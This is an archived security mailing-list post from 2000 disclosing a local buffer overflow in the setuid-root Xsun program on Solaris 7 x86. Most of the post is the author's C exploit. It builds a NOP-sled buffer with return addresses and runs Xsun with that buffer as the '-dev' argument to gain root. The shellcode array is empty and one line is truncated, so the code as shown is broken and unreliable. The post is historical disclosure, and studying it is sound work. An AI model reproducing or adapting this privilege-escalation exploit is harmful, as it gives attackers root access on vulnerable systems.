Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Subject: Solaris x86 Xsun overflow.
From: Theodor Ragnar Gislason (teddiLINUX.IS)
Date: Mon Apr 24 2000 - 10:06:56 CDT

There exists an overflow in /usr/openwin/bin/Xsun setuid root program on
solaris 7 x86 version, I'm not sure about sol 8. This bug was discovered
and exploited sometime in '98.

The program comes default setgid root on the sparc version of solaris.
I haven't checked wether this is exploitable on sparc.

I'm releasing this crap due to a copycat exploit from hack.co.za, you be
the judge.



* Solaris 7 Xsun(suid) local overflow - PRIVATE for now!
* Solaris 2.7/(2.6?) x86 sploit no sparc code, yet!
* Discovered/sploited By DiGiT - teddilinux.is
* Greets: #!ADM, #!security.is

#include <stdio.h>
#include <stdlib.h>

// Generic solaris x86 shellcode by cheeze wizz

char shellcode[] =

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {

  char buff[5000];
  int nopcount=2001, bsize=4000, offset=1850;
  int i;

  if (argc > 1) nopcount = atoi(argv[1]);
  if (argc > 2) bsize = atoi(argv[2]);
  if (argc > 3) offset = atoi(argv[3]);
        memset (buff, 0x90, bsize);

                for (i = nopcount; i < bsize - 4; i += 4)
                *(long *) &buff[i] = get_esp() + offset;

        memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen

            memcpy (buff, ":", 1);

         printf("Oh boy. DiGiT presents r00t\n");

         execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL);